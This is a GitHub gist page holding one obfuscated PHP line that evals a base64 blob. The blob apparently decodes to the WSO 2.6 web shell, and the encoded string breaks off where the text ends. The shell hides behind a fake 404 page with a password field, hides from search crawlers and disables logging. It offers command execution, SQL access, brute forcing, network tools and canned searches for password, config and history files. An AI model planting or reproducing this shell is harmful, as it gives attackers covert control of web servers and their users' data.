Skip to content

Instantly share code, notes, and snippets.

@subhashdasyam
Created July 3, 2017 17:42
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save subhashdasyam/5d02c630b8ff7bee4e777091ede443e4 to your computer and use it in GitHub Desktop.
Save subhashdasyam/5d02c630b8ff7bee4e777091ede443e4 to your computer and use it in GitHub Desktop.
<?php eval("?>".base64_decode("PD9waHAgDQokYXV0aF9wYXNzID0gIjBkMTA3ZDA5ZjViYmU0MGNhZGUzZGU1YzcxZTllOWI3IjsgDQokY29sb3IgPSAiIzAwZmYwMCI7IA0KJGRlZmF1bHRfYWN0aW9uID0gJ0ZpbGVzTWFuJzsgDQokZGVmYXVsdF91c2VfYWpheCA9IHRydWU7IA0KJGRlZmF1bHRfY2hhcnNldCA9ICdXaW5kb3dzLTEyNTEnOyANCiAgDQppZighZW1wdHkoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgeyANCiAgICAkdXNlckFnZW50cyA9IGFycmF5KCJHb29nbGUiLCAiU2x1cnAiLCAiTVNOQm90IiwgImlhX2FyY2hpdmVyIiwgIllhbmRleCIsICJSYW1ibGVyIik7IA0KICAgIGlmKHByZWdfbWF0Y2goJy8nIC4gaW1wbG9kZSgnfCcsICR1c2VyQWdlbnRzKSAuICcvaScsICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpIHsgDQogICAgICAgIGhlYWRlcignSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCcpOyANCiAgICAgICAgZXhpdDsgDQogICAgfSANCn0gDQogIA0KQHNlc3Npb25fc3RhcnQoKTsgDQpAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsgDQpAaW5pX3NldCgnbG9nX2Vycm9ycycsMCk7IA0KQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7IA0KQHNldF90aW1lX2xpbWl0KDApOyANCkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7IA0KQGRlZmluZSgnV1NPX1ZFUlNJT04nLCAnMi42Jyk7IA0KICANCmlmKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHsgDQogICAgZnVuY3Rpb24gV1NPc3RyaXBzbGFzaGVzKCRhcnJheSkgeyANCiAgICAgICAgcmV0dXJuIGlzX2FycmF5KCRhcnJheSkgPyBhcnJheV9tYXAoJ1dTT3N0cmlwc2xhc2hlcycsICRhcnJheSkgOiBzdHJpcHNsYXNoZXMoJGFycmF5KTsgDQogICAgfSANCiAgICAkX1BPU1QgPSBXU09zdHJpcHNsYXNoZXMoJF9QT1NUKTsgDQp9IA0KICANCmZ1bmN0aW9uIHdzb0xvZ2luKCkgeyANCiAgICBkaWUoIjxoMT5Ob3QgRm91bmQ8L2gxPiANCjxwPlRoZSByZXF1ZXN0ZWQgVVJMIHdhcyBub3QgZm91bmQgb24gdGhpcyBzZXJ2ZXIuPC9wPiANCjxwPkFkZGl0aW9uYWxseSwgYSA0MDQgTm90IEZvdW5kIGVycm9yIHdhcyBlbmNvdW50ZXJlZCB3aGlsZSB0cnlpbmcgdG8gdXNlIGFuIEVycm9yRG9jdW1lbnQgdG8gaGFuZGxlIHRoZSByZXF1ZXN0LjwvcD4gDQo8aHI+IA0KPGFkZHJlc3M+QXBhY2hlLzIuMi4yMiAoVW5peCkgbW9kX3NzbC8yLjIuMjIgT3BlblNTTC8xLjAuMC1maXBzIG1vZF9hdXRoX3Bhc3N0aHJvdWdoLzIuMSBtb2RfYndsaW1pdGVkLzEuNCBGcm9udFBhZ2UvNS4wLjIuMjYzNSBTZXJ2ZXIgYXQgUG9ydCA4MDwvYWRkcmVzcz4gDQogICAgPHN0eWxlPiANCiAgICAgICAgaW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9IA0KICAgIDwvc3R5bGU+IA0KICAgIDxwcmUgYWxpZ249Y2VudGVyPiANCiAgICA8Zm9ybSBtZXRob2Q9cG9zdD4gDQogICAgPGlucHV0IHR5cGU9cGFzc3dvcmQgbmFtZT1wYXNzPiANCiAgICA8L2Zvcm0+PC9wcmU+Iik7IA0KfSANCiAgDQppZighaXNzZXQoJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSkpIA0KICAgIGlmKCBlbXB0eSgkYXV0aF9wYXNzKSB8fCAoIGlzc2V0KCRfUE9TVFsncGFzcyddKSAmJiAobWQ1KCRfUE9TVFsncGFzcyddKSA9PSAkYXV0aF9wYXNzKSApICkgDQogICAgICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0gPSB0cnVlOyANCiAgICBlbHNlDQogICAgICAgIHdzb0xvZ2luKCk7IA0KICANCmlmKHN0cnRvbG93ZXIoc3Vic3RyKFBIUF9PUywwLDMpKSA9PSAid2luIikgDQogICAgJG9zID0gJ3dpbic7IA0KZWxzZQ0KICAgICRvcyA9ICduaXgnOyANCiAgDQokc2FmZV9tb2RlID0gQGluaV9nZXQoJ3NhZmVfbW9kZScpOyANCmlmKCEkc2FmZV9tb2RlKSANCiAgICBlcnJvcl9yZXBvcnRpbmcoMCk7IA0KICANCiRkaXNhYmxlX2Z1bmN0aW9ucyA9IEBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpOyANCiRob21lX2N3ZCA9IEBnZXRjd2QoKTsgDQppZihpc3NldCgkX1BPU1RbJ2MnXSkpIA0KICAgIEBjaGRpcigkX1BPU1RbJ2MnXSk7IA0KJGN3ZCA9IEBnZXRjd2QoKTsgDQppZigkb3MgPT0gJ3dpbicpIHsgDQogICAgJGhvbWVfY3dkID0gc3RyX3JlcGxhY2UoIlwiLCAiLyIsICRob21lX2N3ZCk7IA0KICAgICRjd2QgPSBzdHJfcmVwbGFjZSgiXCIsICIvIiwgJGN3ZCk7IA0KfSANCmlmKCAkY3dkW3N0cmxlbigkY3dkKS0xXSAhPSAnLycgKSANCiAgICAkY3dkIC49ICcvJzsgDQogICAgICANCiAgICAgIA0KaWYoIWlzc2V0KCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdhamF4J10pKSANCiAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnYWpheCddID0gKGJvb2wpJEdMT0JBTFNbJ2RlZmF1bHRfdXNlX2FqYXgnXTsgDQogIA0KaWYoJG9zID09ICd3aW4nKSANCiAgICAkYWxpYXNlcyA9IGFycmF5KCANCiAgICAgICAgIkxpc3QgRGlyZWN0b3J5IiA9PiAiZGlyIiwgDQogICAgICAgICJGaW5kIGluZGV4LnBocCBpbiBjdXJyZW50IGRpciIgPT4gImRpciAvcyAvdyAvYiBpbmRleC5waHAiLCANCiAgICAgICAgIkZpbmQgKmNvbmZpZyoucGhwIGluIGN1cnJlbnQgZGlyIiA9PiAiZGlyIC9zIC93IC9iICpjb25maWcqLnBocCIsIA0KICAgICAgICAiU2hvdyBhY3RpdmUgY29ubmVjdGlvbnMiID0+ICJuZXRzdGF0IC1hbiIsIA0KICAgICAgICAiU2hvdyBydW5uaW5nIHNlcnZpY2VzIiA9PiAibmV0IHN0YXJ0IiwgDQogICAgICAgICJVc2VyIGFjY291bnRzIiA9PiAibmV0IHVzZXIiLCANCiAgICAgICAgIlNob3cgY29tcHV0ZXJzIiA9PiAibmV0IHZpZXciLCANCiAgICAgICAgIkFSUCBUYWJsZSIgPT4gImFycCAtYSIsIA0KICAgICAgICAiSVAgQ29uZmlndXJhdGlvbiIgPT4gImlwY29uZmlnIC9hbGwiDQogICAgKTsgDQplbHNlDQogICAgJGFsaWFzZXMgPSBhcnJheSggDQogICAgICAgICJMaXN0IGRpciIgPT4gImxzIC1saGEiLCANCiAgICAgICAgImxpc3QgZmlsZSBhdHRyaWJ1dGVzIG9uIGEgTGludXggc2Vjb25kIGV4dGVuZGVkIGZpbGUgc3lzdGVtIiA9PiAibHNhdHRyIC12YSIsIA0KICAgICAgICAic2hvdyBvcGVuZWQgcG9ydHMiID0+ICJuZXRzdGF0IC1hbiB8IGdyZXAgLWkgbGlzdGVuIiwgDQogICAgICAgICJwcm9jZXNzIHN0YXR1cyIgPT4gInBzIGF1eCIsIA0KICAgICAgICAiRmluZCIgPT4gIiIsIA0KICAgICAgICAiZmluZCBhbGwgc3VpZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMiLCANCiAgICAgICAgImZpbmQgc3VpZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMiLCANCiAgICAgICAgImZpbmQgYWxsIHNnaWQgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzIiwgDQogICAgICAgICJmaW5kIHNnaWQgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzIiwgDQogICAgICAgICJmaW5kIGNvbmZpZy5pbmMucGhwIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgY29uZmlnLmluYy5waHAiLCANCiAgICAgICAgImZpbmQgY29uZmlnKiBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lICJjb25maWcqIiIsIA0KICAgICAgICAiZmluZCBjb25maWcqIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgImNvbmZpZyoiIiwgDQogICAgICAgICJmaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyIgPT4gImZpbmQgLyAtcGVybSAtMiAtbHMiLCANCiAgICAgICAgImZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC1wZXJtIC0yIC1scyIsIA0KICAgICAgICAiZmluZCBhbGwgc2VydmljZS5wd2QgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCIsIA0KICAgICAgICAiZmluZCBzZXJ2aWNlLnB3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiwgDQogICAgICAgICJmaW5kIGFsbCAuaHRwYXNzd2QgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiLCANCiAgICAgICAgImZpbmQgLmh0cGFzc3dkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiwgDQogICAgICAgICJmaW5kIGFsbCAuYmFzaF9oaXN0b3J5IGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIsIA0KICAgICAgICAiZmluZCAuYmFzaF9oaXN0b3J5IGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIsIA0KICAgICAgICAiZmluZCBhbGwgLmZldGNobWFpbHJjIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiwgDQogICAgICAgICJmaW5kIC5mZXRjaG1haWxyYyBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIsIA0KICAgICAgICAiTG9jYXRlIiA9PiAiIiwgDQogICAgICAgICJsb2NhdGUgaHR0cGQuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBodHRwZC5jb25mIiwgDQogICAgICAgICJsb2NhdGUgdmhvc3RzLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgdmhvc3RzLmNvbmYiLCANCiAgICAgICAgImxvY2F0ZSBwcm9mdHBkLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgcHJvZnRwZC5jb25mIiwgDQogICAgICAgICJsb2NhdGUgcHN5Ym5jLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgcHN5Ym5jLmNvbmYiLCANCiAgICAgICAgImxvY2F0ZSBteS5jb25mIGZpbGVzIiA9PiAibG9jYXRlIG15LmNvbmYiLCANCiAgICAgICAgImxvY2F0ZSBhZG1pbi5waHAgZmlsZXMiID0+ImxvY2F0ZSBhZG1pbi5waHAiLCANCiAgICAgICAgImxvY2F0ZSBjZmcucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNmZy5waHAiLCANCiAgICAgICAgImxvY2F0ZSBjb25mLnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjb25mLnBocCIsIA0KICAgICAgICAibG9jYXRlIGNvbmZpZy5kYXQgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLmRhdCIsIA0KICAgICAgICAibG9jYXRlIGNvbmZpZy5waHAgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLnBocCIsIA0KICAgICAgICAibG9jYXRlIGNvbmZpZy5pbmMgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLmluYyIsIA0KICAgICAgICAibG9jYXRlIGNvbmZpZy5pbmMucGhwIiA9PiAibG9jYXRlIGNvbmZpZy5pbmMucGhwIiwgDQogICAgICAgICJsb2NhdGUgY29uZmlnLmRlZmF1bHQucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5kZWZhdWx0LnBocCIsIA0KICAgICAgICAibG9jYXRlIGNvbmZpZyogZmlsZXMgIiA9PiAibG9jYXRlIGNvbmZpZyIsIA0KICAgICAgICAibG9jYXRlIC5jb25mIGZpbGVzIj0+ImxvY2F0ZSAnLmNvbmYnIiwgDQogICAgICAgICJsb2NhdGUgLnB3ZCBmaWxlcyIgPT4gImxvY2F0ZSAnLnB3ZCciLCANCiAgICAgICAgImxvY2F0ZSAuc3FsIGZpbGVzIiA9PiAibG9jYXRlICcuc3FsJyIsIA0KICAgICAgICAibG9jYXRlIC5odHBhc3N3ZCBmaWxlcyIgPT4gImxvY2F0ZSAnLmh0cGFzc3dkJyIsIA0KICAgICAgICAibG9jYXRlIC5iYXNoX2hpc3RvcnkgZmlsZXMiID0+ICJsb2NhdGUgJy5iYXNoX2hpc3RvcnknIiwgDQogICAgICAgICJsb2NhdGUgLm15c3FsX2hpc3RvcnkgZmlsZXMiID0+ICJsb2NhdGUgJy5teXNxbF9oaXN0b3J5JyIsIA0KICAgICAgICAibG9jYXRlIC5mZXRjaG1haWxyYyBmaWxlcyIgPT4gImxvY2F0ZSAnLmZldGNobWFpbHJjJyIsIA0KICAgICAgICAibG9jYXRlIGJhY2t1cCBmaWxlcyIgPT4gImxvY2F0ZSBiYWNrdXAiLCANCiAgICAgICAgImxvY2F0ZSBkdW1wIGZpbGVzIiA9PiAibG9jYXRlIGR1bXAiLCANCiAgICAgICAgImxvY2F0ZSBwcml2IGZpbGVzIiA9PiAibG9jYXRlIHByaXYiDQogICAgKTsgDQogIA0KZnVuY3Rpb24gd3NvSGVhZGVyKCkgeyANCiAgICBpZihlbXB0eSgkX1BPU1RbJ2NoYXJzZXQnXSkpIA0KICAgICAgICAkX1BPU1RbJ2NoYXJzZXQnXSA9ICRHTE9CQUxTWydkZWZhdWx0X2NoYXJzZXQnXTsgDQogICAgZ2xvYmFsICRjb2xvcjsgDQogICAgZWNobyAiPGh0bWw+PGhlYWQ+PG1ldGEgaHR0cC1lcXVpdj0nQ29udGVudC1UeXBlJyBjb250ZW50PSd0ZXh0L2h0bWw7IGNoYXJzZXQ9IiAuICRfUE9TVFsnY2hhcnNldCddIC4gIic+PHRpdGxlPiIgLiAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gLiAiIC0gV1NPICIgLiBXU09fVkVSU0lPTiAuIjwvdGl0bGU+IA0KPHN0eWxlPiANCmJvZHkge2JhY2tncm91bmQtY29sb3I6IzAwMDtjb2xvcjojZmZmO30gIA0KYm9keSx0ZCx0aHsgZm9udDogOXB0IEx1Y2lkYSxWZXJkYW5hO21hcmdpbjowO3ZlcnRpY2FsLWFsaWduOnRvcDsgfSAgDQpzcGFuLGgxLGF7IGNvbG9yOiAkY29sb3IgIWltcG9ydGFudDsgfSAgDQpzcGFueyBmb250LXdlaWdodDogYm9sZGVyOyB9ICANCmgxeyBib3JkZXI6MXB4IHNvbGlkICRjb2xvcjtwYWRkaW5nOiAycHggNXB4O2ZvbnQ6IDE0cHQgVmVyZGFuYTttYXJnaW46MHB4OyB9ICANCmRpdi5jb250ZW50eyBwYWRkaW5nOiA1cHg7bWFyZ2luLWxlZnQ6NXB4O30gIA0KYXsgdGV4dC1kZWNvcmF0aW9uOm5vbmU7IH0gIA0KYTpob3ZlcnsgYmFja2dyb3VuZDojZmYwMDAwOyB9ICANCi5tbDF7IGJvcmRlcjoxcHggc29saWQgIzQ0NDtwYWRkaW5nOjVweDttYXJnaW46MDtvdmVyZmxvdzogYXV0bzsgfSAgDQouYmlnYXJlYXsgd2lkdGg6MTAwJTtoZWlnaHQ6MjUwcHg7IH0gIA0KaW5wdXQsIHRleHRhcmVhLCBzZWxlY3R7IG1hcmdpbjowO2NvbG9yOiMwMGZmMDA7YmFja2dyb3VuZC1jb2xvcjojMDAwO2JvcmRlcjoxcHggc29saWQgJGNvbG9yOyBmb250OiA5cHQgTW9ub3NwYWNlLCdDb3VyaWVyIE5ldyc7IH0gIA0KZm9ybXsgbWFyZ2luOjBweDsgfSAgDQojdG9vbHNUYmx7IHRleHQtYWxpZ246Y2VudGVyOyB9ICANCi50b29sc0lucHsgd2lkdGg6IDgwJTsgfSAgDQoubWFpbiB0aHt0ZXh0LWFsaWduOmxlZnQ7fSAgDQoubWFpbiB0cjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiM1ZTVlNWU7fSAgDQoubWFpbiB0ZCwgdGh7dmVydGljYWwtYWxpZ246bWlkZGxlO30gIA0KcHJle2ZvbnQtZmFtaWx5OkNvdXJpZXIsTW9ub3NwYWNlO30gDQojY290X3RsX2ZpeGVke3Bvc2l0aW9uOmZpeGVkO2JvdHRvbTowcHg7Zm9udC1zaXplOjEycHg7bGVmdDowcHg7cGFkZGluZzo0cHggMDtjbGlwOl90b3A6ZXhwcmVzc2lvbihkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuc2Nyb2xsVG9wK2RvY3VtZW50LmRvY3VtZW50RWxlbWVudC5jbGllbnRIZWlnaHQtdGhpcy5jbGllbnRIZWlnaHQpO19sZWZ0OmV4cHJlc3Npb24oZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LnNjcm9sbExlZnQgKyBkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuY2xpZW50V2lkdGggLSBvZmZzZXRXaWR0aCk7fSAgDQo8L3N0eWxlPiANCjxzY3JpcHQ+IA0KICAgIHZhciBjXyA9ICciIC4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4gIic7IA0KICAgIHZhciBhXyA9ICciIC4gaHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydhJ10pIC4iJw0KICAgIHZhciBjaGFyc2V0XyA9ICciIC4gaHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydjaGFyc2V0J10pIC4iJzsgDQogICAgdmFyIHAxXyA9ICciIC4gKChzdHJwb3MoQCRfUE9TVFsncDEnXSwibiIpIT09ZmFsc2UpPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddLEVOVF9RVU9URVMpKSAuIic7IA0KICAgIHZhciBwMl8gPSAnIiAuICgoc3RycG9zKEAkX1BPU1RbJ3AyJ10sIm4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDInXSxFTlRfUVVPVEVTKSkgLiInOyANCiAgICB2YXIgcDNfID0gJyIgLiAoKHN0cnBvcyhAJF9QT1NUWydwMyddLCJuIikhPT1mYWxzZSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AzJ10sRU5UX1FVT1RFUykpIC4iJzsgDQogICAgdmFyIGQgPSBkb2N1bWVudDsgDQogICAgZnVuY3Rpb24gc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7IA0KICAgICAgICBpZihhIT1udWxsKWQubWYuYS52YWx1ZT1hO2Vsc2UgZC5tZi5hLnZhbHVlPWFfOyANCiAgICAgICAgaWYoYyE9bnVsbClkLm1mLmMudmFsdWU9YztlbHNlIGQubWYuYy52YWx1ZT1jXzsgDQogICAgICAgIGlmKHAxIT1udWxsKWQubWYucDEudmFsdWU9cDE7ZWxzZSBkLm1mLnAxLnZhbHVlPXAxXzsgDQogICAgICAgIGlmKHAyIT1udWxsKWQubWYucDIudmFsdWU9cDI7ZWxzZSBkLm1mLnAyLnZhbHVlPXAyXzsgDQogICAgICAgIGlmKHAzIT1udWxsKWQubWYucDMudmFsdWU9cDM7ZWxzZSBkLm1mLnAzLnZhbHVlPXAzXzsgDQogICAgICAgIGlmKGNoYXJzZXQhPW51bGwpZC5tZi5jaGFyc2V0LnZhbHVlPWNoYXJzZXQ7ZWxzZSBkLm1mLmNoYXJzZXQudmFsdWU9Y2hhcnNldF87IA0KICAgIH0gDQogICAgZnVuY3Rpb24gZyhhLGMscDEscDIscDMsY2hhcnNldCkgeyANCiAgICAgICAgc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KTsgDQogICAgICAgIGQubWYuc3VibWl0KCk7IA0KICAgIH0gDQogICAgZnVuY3Rpb24gYShhLGMscDEscDIscDMsY2hhcnNldCkgeyANCiAgICAgICAgc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KTsgDQogICAgICAgIHZhciBwYXJhbXMgPSAnYWpheD10cnVlJzsgDQogICAgICAgIGZvcihpPTA7aTxkLm1mLmVsZW1lbnRzLmxlbmd0aDtpKyspIA0KICAgICAgICAgICAgcGFyYW1zICs9ICcmJytkLm1mLmVsZW1lbnRzW2ldLm5hbWUrJz0nK2VuY29kZVVSSUNvbXBvbmVudChkLm1mLmVsZW1lbnRzW2ldLnZhbHVlKTsgDQogICAgICAgIHNyKCciIC4gYWRkc2xhc2hlcygkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkgLiInLCBwYXJhbXMpOyANCiAgICB9IA0KICAgIGZ1bmN0aW9uIHNyKHVybCwgcGFyYW1zKSB7IA0KICAgICAgICBpZiAod2luZG93LlhNTEh0dHBSZXF1ZXN0KSANCiAgICAgICAgICAgIHJlcSA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOyANCiAgICAgICAgZWxzZSBpZiAod2luZG93LkFjdGl2ZVhPYmplY3QpIA0KICAgICAgICAgICAgcmVxID0gbmV3IEFjdGl2ZVhPYmplY3QoJ01pY3Jvc29mdC5YTUxIVFRQJyk7IA0KICAgICAgICBpZiAocmVxKSB7IA0KICAgICAgICAgICAgcmVxLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IHByb2Nlc3NSZXFDaGFuZ2U7IA0KICAgICAgICAgICAgcmVxLm9wZW4oJ1BPU1QnLCB1cmwsIHRydWUpOyANCiAgICAgICAgICAgIHJlcS5zZXRSZXF1ZXN0SGVhZGVyICgnQ29udGVudC1UeXBlJywgJ2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcpOyANCiAgICAgICAgICAgIHJlcS5zZW5kKHBhcmFtcyk7IA0KICAgICAgICB9IA0KICAgIH0gDQogICAgZnVuY3Rpb24gcHJvY2Vzc1JlcUNoYW5nZSgpIHsgDQogICAgICAgIGlmKCAocmVxLnJlYWR5U3RhdGUgPT0gNCkgKSANCiAgICAgICAgICAgIGlmKHJlcS5zdGF0dXMgPT0gMjAwKSB7IA0KICAgICAgICAgICAgICAgIHZhciByZWcgPSBuZXcgUmVnRXhwKCIoXFxkKykoW1xcU1xcc10qKSIsICdtJyk7IA0KICAgICAgICAgICAgICAgIHZhciBhcnI9cmVnLmV4ZWMocmVxLnJlc3BvbnNlVGV4dCk7IA0KICAgICAgICAgICAgICAgIGV2YWwoYXJyWzJdLnN1YnN0cigwLCBhcnJbMV0pKTsgDQogICAgICAgICAgICB9IGVsc2UgYWxlcnQoJ1JlcXVlc3QgZXJyb3IhJyk7IA0KICAgIH0gDQo8L3NjcmlwdD4gDQo8aGVhZD48Ym9keT48ZGl2IHN0eWxlPSdwb3NpdGlvbjphYnNvbHV0ZTt3aWR0aDoxMDAlO2JhY2tncm91bmQtY29sb3I6IzAwMDt0b3A6MDtsZWZ0OjA7Jz4gDQo8Zm9ybSBtZXRob2Q9cG9zdCBuYW1lPW1mIHN0eWxlPSdkaXNwbGF5Om5vbmU7Jz4gDQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hPiANCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWM+IA0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDE+IA0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDI+IA0KICANCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAzPiANCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQ+IA0KPC9mb3JtPiI7IA0KICAgICRmcmVlU3BhY2UgPSBAZGlza2ZyZWVzcGFjZSgkR0xPQkFMU1snY3dkJ10pOyANCiAgICAkdG90YWxTcGFjZSA9IEBkaXNrX3RvdGFsX3NwYWNlKCRHTE9CQUxTWydjd2QnXSk7IA0KICAgICR0b3RhbFNwYWNlID0gJHRvdGFsU3BhY2U/JHRvdGFsU3BhY2U6MTsgDQogICAgJHJlbGVhc2UgPSBAcGhwX3VuYW1lKCdyJyk7IA0KICAgICRrZXJuZWwgPSBAcGhwX3VuYW1lKCdzJyk7IA0KICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSkgeyANCiAgICAgICAgJHVzZXIgPSBAZ2V0X2N1cnJlbnRfdXNlcigpOyANCiAgICAgICAgJHVpZCA9IEBnZXRteXVpZCgpOyANCiAgICAgICAgJGdpZCA9IEBnZXRteWdpZCgpOyANCiAgICAgICAgJGdyb3VwID0gIj8iOyANCiAgICB9IGVsc2UgeyANCiAgICAgICAgJHVpZCA9IEBwb3NpeF9nZXRwd3VpZChwb3NpeF9nZXRldWlkKCkpOyANCiAgICAgICAgJGdpZCA9IEBwb3NpeF9nZXRncmdpZChwb3NpeF9nZXRlZ2lkKCkpOyANCiAgICAgICAgJHVzZXIgPSAkdWlkWyduYW1lJ107IA0KICAgICAgICAkdWlkID0gJHVpZFsndWlkJ107IA0KICAgICAgICAkZ3JvdXAgPSAkZ2lkWyduYW1lJ107IA0KICAgICAgICAkZ2lkID0gJGdpZFsnZ2lkJ107IA0KICAgIH0gDQogIA0KICAgICRjd2RfbGlua3MgPSAnJzsgDQogICAgJHBhdGggPSBleHBsb2RlKCIvIiwgJEdMT0JBTFNbJ2N3ZCddKTsgDQogICAgJG49Y291bnQoJHBhdGgpOyANCiAgICBmb3IoJGk9MDsgJGk8JG4tMTsgJGkrKykgeyANCiAgICAgICAgJGN3ZF9saW5rcyAuPSAiPGEgaHJlZj0nIycgb25jbGljaz0nZygiRmlsZXNNYW4iLCIiOyANCiAgICAgICAgZm9yKCRqPTA7ICRqPD0kaTsgJGorKykgDQogICAgICAgICAgICAkY3dkX2xpbmtzIC49ICRwYXRoWyRqXS4nLyc7IA0KICAgICAgICAkY3dkX2xpbmtzIC49ICIiKSc+Ii4kcGF0aFskaV0uIi88L2E+IjsgDQogICAgfSANCiAgDQogICAgJGNoYXJzZXRzID0gYXJyYXkoJ1VURi04JywgJ1dpbmRvd3MtMTI1MScsICdLT0k4LVInLCAnS09JOC1VJywgJ2NwODY2Jyk7IA0KICAgICRvcHRfY2hhcnNldHMgPSAnJzsgDQogICAgZm9yZWFjaCgkY2hhcnNldHMgYXMgJGl0ZW0pIA0KICAgICAgICAkb3B0X2NoYXJzZXRzIC49ICc8b3B0aW9uIHZhbHVlPSInLiRpdGVtLiciICcuKCRfUE9TVFsnY2hhcnNldCddPT0kaXRlbT8nc2VsZWN0ZWQnOicnKS4nPicuJGl0ZW0uJzwvb3B0aW9uPic7IA0KICANCiAgICAkbSA9IGFycmF5KCdTZWMgSW5mbyc9PidTZWNJbmZvJywnRmlsZXMnPT4nRmlsZXNNYW4nLCdFeGVjJz0+J0NvbnNvbGUnLCdTcWwnPT4nU3FsJywnUEhQIFRvb2xzJz0+J3BocHRvb2xzJywnTEZJJz0+J2xmaXNjYW4nLCdQaHAnPT4nUGhwJywnU2FmZSBtb2RlJz0+J1NhZmVNb2RlJywnU3RyaW5nIHRvb2xzJz0+J1N0cmluZ1Rvb2xzJywnWFNTIFNoZWxsJz0+J1hTU1NoZWxsJywnQnJ1dGVmb3JjZSc9PidCcnV0ZWZvcmNlJywnTmV0d29yayc9PidOZXR3b3JrJyk7IA0KICAgIGlmKCFlbXB0eSgkR0xPQkFMU1snYXV0aF9wYXNzJ10pKSANCiAgICAgICAgJG1bJ0xvZ291dCddID0gJ0xvZ291dCc7IA0KICAgICRtWydTZWxmIHJlbW92ZSddID0gJ1NlbGZSZW1vdmUnOyANCiAgICAkbWVudSA9ICcnOyANCiAgICBmb3JlYWNoKCRtIGFzICRrID0+ICR2KSANCiAgICAgICAgJG1lbnUgLj0gJzx0aCB3aWR0aD0i